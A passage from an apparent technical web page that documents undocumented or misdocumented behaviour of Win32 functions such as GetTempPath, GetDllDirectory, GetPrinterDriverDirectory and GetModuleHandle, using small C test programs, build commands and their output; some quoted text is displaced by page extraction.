TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 261 characters GetTempFileName() returned pathname 'C:\TEMP\tmp8440.tmp' GetTempPath() returned pathname '' of 285 characters for TMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 260 characters GetTempFileName() returned pathname '\tmp8447.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz\' of 155 characters for TMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 130 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\' of 15 characters for TMP=.. of 2 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmp844F.tmp' GetTempPath() returned pathname 'C:\Users\' of 9 characters for TMP=..\.. of 5 characters GetTempFileName() returned error 5 GetTempPath() returned pathname 'C:\' of 3 characters for TMP=..\..\.. of 8 characters GetTempFileName() returned pathname 'C:\tmp8459.tmp' GetTempPath() returned pathname 'C:\' of 3 characters for TMP=..\..\..\.. of 11 characters GetTempFileName() returned pathname 'C:\tmp8463.tmp' GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TMP=AUX of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TMP=AUX: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\CON\' of 8 characters for TMP=CON: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\NUL\' of 8 characters for TMP=NUL: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\PRN\' of 8 characters for TMP=PRN: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..' of 1 characters for TEMP= of 0 characters GetTempFileName() returned pathname '..\tmp8473.tmp' GetTempPath() returned pathname '..\tmp8473.tmp' of 1 characters for TEMP= of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..\tmp8473.tmp' of 1 characters for TEMP= of 2 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..\tmp8473.tmp' of 1 characters for TEMP= of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\€\' of 25 characters for TEMP=€ of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\' of 24 characters for TEMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 129 characters GetTempFileName() returned pathname 'C:\Users\Stefan\Desktop\tmp8483.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TEMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 261 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmp848E.tmp' GetTempPath() returned pathname '' of 285 characters for TEMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 260 characters GetTempFileName() returned pathname '\tmp8495.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz\' of 155 characters for TEMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 130 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TEMP=.. of 2 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmp849D.tmp' GetTempPath() returned pathname 'C:\Users\' of 9 characters for TEMP=..\.. of 5 characters GetTempFileName() returned error 5 GetTempPath() returned pathname 'C:\' of 3 characters for TEMP=..\..\.. of 8 characters GetTempFileName() returned pathname 'C:\tmp84AA.tmp' GetTempPath() returned pathname 'C:\' of 3 characters for TEMP=..\..\..\.. of 11 characters GetTempFileName() returned pathname 'C:\tmp84BB.tmp' GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TEMP=AUX of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TEMP=AUX: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\CON\' of 8 characters for TEMP=CON: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\NUL\' of 8 characters for TEMP=NUL: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\PRN\' of 8 characters for TEMP=PRN: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..' of 1 characters for USERPROFILE= of 0 characters GetTempFileName() returned pathname '..\tmp84CC.tmp' GetTempPath() returned pathname '..\tmp84CC.tmp' of 1 characters for USERPROFILE= of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..\tmp84CC.tmp' of 1 characters for USERPROFILE= of 2 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..\tmp84CC.tmp' of 1 characters for USERPROFILE= of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\€\' of 25 characters for USERPROFILE=€ of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\' of 24 characters for USERPROFILE=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 129 characters GetTempFileName() returned pathname 'C:\Users\Stefan\Desktop\tmp84DD.tmp' GetTempPath() returned pathname 'C:\WINDOWS\' of 11 characters for USERPROFILE=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 261 characters GetTempFileName() returned pathname 'C:\WINDOWS\tmp84E7.tmp' GetTempPath() returned pathname '' of 285 characters for USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 260 characters GetTempFileName() returned pathname '\tmp84EF.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz\' of 155 characters for USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 130 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for USERPROFILE=.. of 2 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmp84F3.tmp' GetTempPath() returned pathname 'C:\Users\' of 9 characters for USERPROFILE=..\.. of 5 characters GetTempFileName() returned error 5 GetTempPath() returned pathname 'C:\' of 3 characters for USERPROFILE=..\..\.. of 8 characters GetTempFileName() returned pathname 'C:\tmp84FF.tmp' GetTempPath() returned pathname 'C:\' of 3 characters for USERPROFILE=..\..\..\.. of 11 characters GetTempFileName() returned pathname 'C:\tmp8509.tmp' GetTempPath() returned pathname '\\.\AUX\' of 8 characters for USERPROFILE=AUX of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\AUX\' of 8 characters for USERPROFILE=AUX: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\CON\' of 8 characters for USERPROFILE=CON: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\NUL\' of 8 characters for USERPROFILE=NUL: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\PRN\' of 8 characters for USERPROFILE=PRN: of 4 characters GetTempFileName() returned error 267 0x10b (WIN32: 267 ERROR_DIRECTORY) -- 267 (267) Error message text: The directory name is invalid. CertUtil: -error command completed successfully.OUCH⁶: contrary to the second highlighted statement of its documentation cited above, the Win32 function
GetTempPath()
            returns values greater than
            261 = MAX_PATH + 1 characters on
            Windows 8 and later versions!
        SetDllDirectory()
            specifies:
        Adds a directory to the search path used to locate DLLs for the application.The documentation for the Win32 function[…]BOOL SetDllDirectory( [in, optional] LPCTSTR lpPathName );
[in, optional] lpPathNameThe directory to be added to the search path. If this parameter is an empty string (""), the call removes the current directory from the default DLL search order. If this parameter is NULL, the function restores the default search order.
GetDllDirectory()
            specifies:
        Retrieves the application-specific portion of the search path used to locate DLLs for the application.OOPS: this documentation fails to specify that[…]DWORD GetDllDirectory( [in] DWORD nBufferLength, [out] LPTSTR lpBuffer );If the function succeeds, the return value is the length of the string copied to lpBuffer, in characters, not including the terminating null character. If the return value is greater than nBufferLength, it specifies the size of the buffer required for the path.
If the function fails, the return value is zero. To get extended error information, call GetLastError.
lpBuffer can be 0 alias NULL if
            nBufferLength is 0 – lpBuffer is an
            optional parameter!
         CAVEAT: when
            SetDllDirectory()
            was called with an empty string before, the return value 0 indicates
            success instead of failure, and the
            GetLastError()
            function should return the Win32 error
            code 0 alias
            ERROR_SUCCESS!
        
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	WCHAR	szBlunder[MAX_PATH];
	DWORD	dwBlunder = GetDllDirectory(0UL, (LPWSTR) NULL);
	DWORD	dwError = ERROR_SUCCESS;
	if (dwBlunder == 0UL)
		dwError = GetLastError();
	else
	{
		SetLastError(~0UL);
		dwBlunder = GetDllDirectory(dwBlunder, szBlunder);
		if (dwBlunder == 0UL)
			dwError = GetLastError();
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
-1OUCH: the Win32 function
GetDllDirectory()
            fails to (re)set the Win32 error code when no
            application-specific
            DLL
            search path is set!
        GetClassLong()
            specifies in its Return valuesection:
If the function succeeds, the return value is the requested value.The documentation for the Win32 functionIf the function fails, the return value is zero. To get extended error information, call GetLastError.
GetClassLongPtr()
            specifies in its Return valuesection:
If the function succeeds, the return value is the requested value.The documentation for the Win32 functionIf the function fails, the return value is zero. To get extended error information, call GetLastError.
GetClassWord()
            specifies in its Return valuesection:
If the function succeeds, the return value is the requested 16-bit value.The documentation for the Win32 functionIf the function fails, the return value is zero. To get extended error information, call GetLastError.
GetWindowLong()
            specifies in its Return valuesection:
If the function succeeds, the return value is the requested value.The documentation for the Win32 functionIf the function fails, the return value is zero. To get extended error information, call GetLastError.
If SetWindowLong has not been called previously, GetWindowLong returns zero for values in the extra window or class memory.
GetWindowLongPtr()
            specifies in its Return valuesection:
If the function succeeds, the return value is the requested value.The documentation for the Win32 functionIf the function fails, the return value is zero. To get extended error information, call GetLastError.
If SetWindowLong or SetWindowLongPtr has not been called previously, GetWindowLongPtr returns zero for values in the extra window or class memory.
SetClassLong()
            specifies in its Return valuesection:
If the function succeeds, the return value is the previous value of the specified offset. If this was not previously set, the return value is zero.The documentation for the Win32 functionIf the function fails, the return value is zero. To get extended error information, call GetLastError.
SetClassLongPtr()
            specifies in its Return valuesection:
If the function succeeds, the return value is the previous value of the specified offset. If this was not previously set, the return value is zero.The documentation for the Win32 functionIf the function fails, the return value is zero. To get extended error information, call GetLastError.
SetClassWord()
            specifies in its Return valuesection:
If the function succeeds, the return value is the previous value of the specified 16-bit integer. If the value was not previously set, the return value is zero.The documentation for the Win32 functionIf the function fails, the return value is zero. To get extended error information, call GetLastError.
SetWindowLong()
            specifies in its Return valuesection:
If the function succeeds, the return value is the previous value of the specified 32-bit integer.The documentation for the Win32 functionIf the function fails, the return value is zero. To get extended error information, call GetLastError.
If the previous value of the specified 32-bit integer is zero, and the function succeeds, the return value is zero, but the function does not clear the last error information. This makes it difficult to determine success or failure. To deal with this, you should clear the last error information by calling SetLastError with 0 before calling SetWindowLong. Then, function failure will be indicated by a return value of zero and a GetLastError result that is nonzero.
SetWindowLongPtr()
            specifies in its Return valuesection:
If the function succeeds, the return value is the previous value of the specified offset.If the function fails, the return value is zero. To get extended error information, call GetLastError.
If the previous value is zero and the function succeeds, the return value is zero, but the function does not clear the last error information. To determine success or failure, clear the last error information by calling SetLastError with 0, then call SetWindowLongPtr. Function failure will be indicated by a return value of zero and a GetLastError. result that is nonzero.
GetDefaultPrinter()
            specifies:
        The GetDefaultPrinter function retrieves the printer name of the default printer for the current user on the local computer.The documentation for the Win32 function[…]BOOL GetDefaultPrinter( [in] LPTSTR pszBuffer, [in, out] LPDWORD pcchBuffer );[…]
- pszBuffer [in]
- A pointer to a buffer that receives a null-terminated character string containing the default printer name. If this parameter is NULL, the function fails and the variable pointed to by pcchBuffer returns the required buffer size, in characters.
If the function succeeds, the return value is a nonzero value and the variable pointed to by pcchBuffer contains the number of characters copied to the pszBuffer buffer, including the terminating null character.
If the function fails, the return value is zero.
Value Meaning ERROR_INSUFFICIENT_BUFFER The pszBuffer buffer is too small. The variable pointed to by pcchBuffer contains the required buffer size, in characters. ERROR_FILE_NOT_FOUND There is no default printer. 
GetPrinterDriverDirectory()
            specifies:
        The GetPrinterDriverDirectory function retrieves the path of the printer-driver directory.The documentation for the Win32 function[…]BOOL GetPrinterDriverDirectory( [in] LPTSTR pName, [in] LPTSTR pEnvironment, [in] DWORD Level, [out] LPBYTE pDriverDirectory, [in] DWORD cbBuf, [out] LPDWORD pcbNeeded );[…]
- pEnvironment [in]
- A pointer to a null-terminated string that specifies the environment (for example, Windows x86, Windows IA64, or Windows x64). If this parameter is NULL, the current environment of the calling application and client machine (not of the destination application and print server) is used.
- […]
- pcbNeeded [out]
- A pointer to a value that specifies the number of bytes copied if the function succeeds, or the number of bytes required if cbBuf is too small.
If the function succeeds, the return value is a nonzero value.
If the function fails, the return value is zero.
[…]
Requirement Value … … Unicode and ANSI names GetPrinterDriverDirectoryW (Unicode) and GetPrinterDriverDirectoryA (ANSI) 
GetPrintProcessorDirectory()
            specifies:
        The GetPrintProcessorDirectory function retrieves the path to the print processor directory on the specified server.OOPS⁰: although the Win32 functions[…]BOOL GetPrintProcessorDirectory( [in] LPTSTR pName, [in] LPTSTR pEnvironment, [in] DWORD Level, [out] LPBYTE pPrintProcessorInfo, [in] DWORD cbBuf, [out] LPDWORD pcbNeeded );[…]
- pEnvironment [in]
- A pointer to a null-terminated string that specifies the environment (for example, Windows x86, Windows IA64, or Windows x64). If this parameter is NULL, the current environment of the calling application and client machine (not of the destination application and print server) is used.
- […]
- pcbNeeded [out]
- A pointer to a value that specifies the number of bytes copied if the function succeeds, or the number of bytes required if cbBuf is too small.
If the function succeeds, the return value is a nonzero value.
If the function fails, the return value is zero.
[…]
Requirement Value … … Unicode and ANSI names GetPrintProcessorDirectoryW (Unicode) and GetPrintProcessorDirectoryA (ANSI) 
GetPrinterDriverDirectory()
            and
            GetPrintProcessorDirectory()
            are available for
            Unicode
            and
            ANSI,
            their output buffer is declared as array of bytes instead array of
            (wide) characters, and its size is counted in bytes instead of
            (wide) characters!
         OUCH⁰: all 3 documentations fail to specify
            that extended error information is available through a call of the
            GetLastError()
            function!
        
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winspool.h>
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
const	LPCWSTR	lpEnvironment[] = {NULL,
		                   L"",
		                   L"Windows 4.0",
		                   L"Windows NT x86",
		                   L"Windows IA64",
		                   L"Windows x64",
		                   L"Windows x86"};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	WCHAR	szBlunder[MAX_PATH];
	DWORD	dwBlunder = sizeof(szBlunder) / sizeof(*szBlunder);
	DWORD	dwEnvironment = 0UL;
	DWORD	dwError = ERROR_SUCCESS;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		if (!GetDefaultPrinter(szBlunder, &dwBlunder))
			PrintConsole(hError,
			             L"GetDefaultPrinter() returned error %lu (%lu)\n",
			             dwError = GetLastError(), dwBlunder);
		else
			PrintConsole(hError,
			             L"GetDefaultPrinter() returned name \'%ls\' of %lu characters\n",
			             szBlunder, dwBlunder);
		if (!GetPrinterDriverDirectory((LPWSTR) NULL,
		                               (LPWSTR) NULL,
		                               1UL,
		                               szBlunder,
		                               0UL,
		                               &dwBlunder))
			PrintConsole(hError,
			             L"GetPrinterDriverDirectory() returned error %lu\n",
			             dwError = GetLastError());
		else
			PrintConsole(hError,
			             L"GetPrinterDriverDirectory() returned pathname \'%ls\' of %lu bytes\n",
			             szBlunder, dwBlunder);
		if (!GetPrintProcessorDirectory((LPWSTR) NULL,
		                                (LPWSTR) NULL,
		                                1UL,
		                                NULL,
		                                sizeof(szBlunder),
		                                &dwBlunder))
			PrintConsole(hError,
			             L"GetPrintProcessorDirectory() returned error %lu\n",
			             dwError = GetLastError());
		else
			PrintConsole(hError,
			             L"GetPrintProcessorDirectory() returned pathname \'%ls\' of %lu bytes\n",
			             szBlunder, dwBlunder);
		do
		{
			if (!GetPrinterDriverDirectory((LPWSTR) NULL,
			                               lpEnvironment[dwEnvironment],
			                               1UL,
			                               szBlunder,
			                               sizeof(szBlunder),
			                               &dwBlunder))
				PrintConsole(hError,
				             L"GetPrinterDriverDirectory() returned error %lu for environment \'%ls\'\n",
				             dwError = GetLastError(), lpEnvironment[dwEnvironment]);
			else
				PrintConsole(hError,
				             L"GetPrinterDriverDirectory() returned pathname \'%ls\' of %lu bytes for environment \'%ls\'\n",
				             szBlunder, dwBlunder, lpEnvironment[dwEnvironment]);
			if (!GetPrintProcessorDirectory((LPWSTR) NULL,
			                                lpEnvironment[dwEnvironment],
			                                1UL,
			                                szBlunder,
			                                sizeof(szBlunder),
			                                &dwBlunder))
				PrintConsole(hError,
				             L"GetPrintProcessorDirectory() returned error %lu for environment \'%ls\'\n",
				             dwError = GetLastError(), lpEnvironment[dwEnvironment]);
			else
				PrintConsole(hError,
				             L"GetPrintProcessorDirectory() returned pathname \'%ls\' of %lu bytes for environment \'%ls\'\n",
				             szBlunder, dwBlunder, lpEnvironment[dwEnvironment]);
		}
		while (++dwEnvironment < sizeof(lpEnvironment) / sizeof(*lpEnvironment));
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.lib winspool.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(65) : warning C4133: 'function' : incompatible types - from 'WCHAR [260]' to 'LPBYTE' blunder.c(94) : warning C4090: 'function' : different 'const' qualifiers blunder.c(96) : warning C4133: 'function' : incompatible types - from 'WCHAR [260]' to 'LPBYTE' blunder.c(106) : warning C4090: 'function' : different 'const' qualifiers blunder.c(108) : warning C4133: 'function' : incompatible types - from 'WCHAR [260]' to 'LPBYTE' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib winspool.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
GetDefaultPrinter() returned name 'Microsoft XPS Document Writer' of 30 characters GetPrinterDriverDirectory() returned error 122 GetPrintProcessorDirectory() returned error 1784 GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\x64' of 76 bytes for environment '' GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\x64' of 78 bytes for environment '' GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\x64' of 76 bytes for environment '' GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\x64' of 78 bytes for environment '' GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\WIN40' of 80 bytes for environment 'Windows 4.0' GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\WIN40' of 82 bytes for environment 'Windows 4.0' GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\W32X86' of 82 bytes for environment 'Windows NT x86' GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\W32X86' of 84 bytes for environment 'Windows NT x86' GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\IA64' of 78 bytes for environment 'Windows IA64' GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\IA64' of 80 bytes for environment 'Windows IA64' GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\x64' of 76 bytes for environment 'Windows x64' GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\x64' of 78 bytes for environment 'Windows x64' GetPrinterDriverDirectory() returned error 1805 for environment 'Windows x86' GetPrintProcessorDirectory() returned error 1805 for environment 'Windows x86' 0x70d (WIN32: 1805 ERROR_INVALID_ENVIRONMENT) -- 1805 (1805) Error message text: The environment specified is invalid. CertUtil: -error command completed successfully.OUCH¹: the Win32 functions
GetPrinterDriverDirectory()
            and
            GetPrintProcessorDirectory()
            exhibit undocumented behaviour – they provide
            extended error information via
            GetLastError(),
            for example the Win32 error code 122 alias
            ERROR_INSUFFICIENT_BUFFER,
            1784 alias
            ERROR_INVALID_USER_BUFFER
            or 1805 alias
            ERROR_INVALID_ENVIRONMENT!
         OUCH²: the undocumented empty
            environment string is equivalent to NULL!
        
 OUCH³: the environment string
            Windows x86 specified in the documentation cited
            above is but invalid!
        
GetModuleHandle()
            states:
        Retrieves a module handle for the specified module. The module must have been loaded by the calling process.The documentation for the Win32 function[…]
[…]HMODULE GetModuleHandle( [in, optional] LPCTSTR lpModuleName );[in, optional] lpModuleName
[…]
If this parameter is NULL, GetModuleHandle returns a handle to the file used to create the calling process (.exe file).
GetModuleHandleEx()
            states:
        Retrieves a module handle for the specified module and increments the module's reference count unless GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT is specified. The module must have been loaded by the calling process.OUCH⁰: both functions don’t return a handle to the[…]
[…]BOOL GetModuleHandleEx( [in] DWORD dwFlags, [in, optional] LPCTSTR lpModuleName, [out] HMODULE *phModule );[in, optional] lpModuleName
[…]
If this parameter is NULL, the function returns a handle to the file used to create the calling process (.exe file).
.exe filefrom which a process was loaded, but the handle alias load address of the process, equal to the address of the symbol
__ImageBase supplied by the linker!
         Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
extern	const	IMAGE_DOS_HEADER	__ImageBase;
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
#ifndef BLUNDER
	HMODULE	hProcess = GetModuleHandle((LPCWSTR) NULL);
	DWORD	dwError = (DWORD_PTR) hProcess ^ (DWORD_PTR) &__ImageBase;
#else
	HMODULE	hProcess;
	DWORD	dwError = ERROR_SUCCESS;
	if (!GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
	                       (LPCWSTR) NULL,
	                       &hProcess)
	 || !CloseHandle(hProcess))
		dwError = GetLastError();
#endif
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
0
         Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 4. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x6 (WIN32: 6 ERROR_INVALID_HANDLE) -- 6 (6)
Error message text: The handle is invalid.
CertUtil: -error command completed successfully.
        GetWindowModuleFileName()
            states:
        Retrieves the full path and file name of the module associated with the specified window handle.CAVETA: this documentation fails to specify error conditions and restrictions!
The MSKB article 228469 but states:
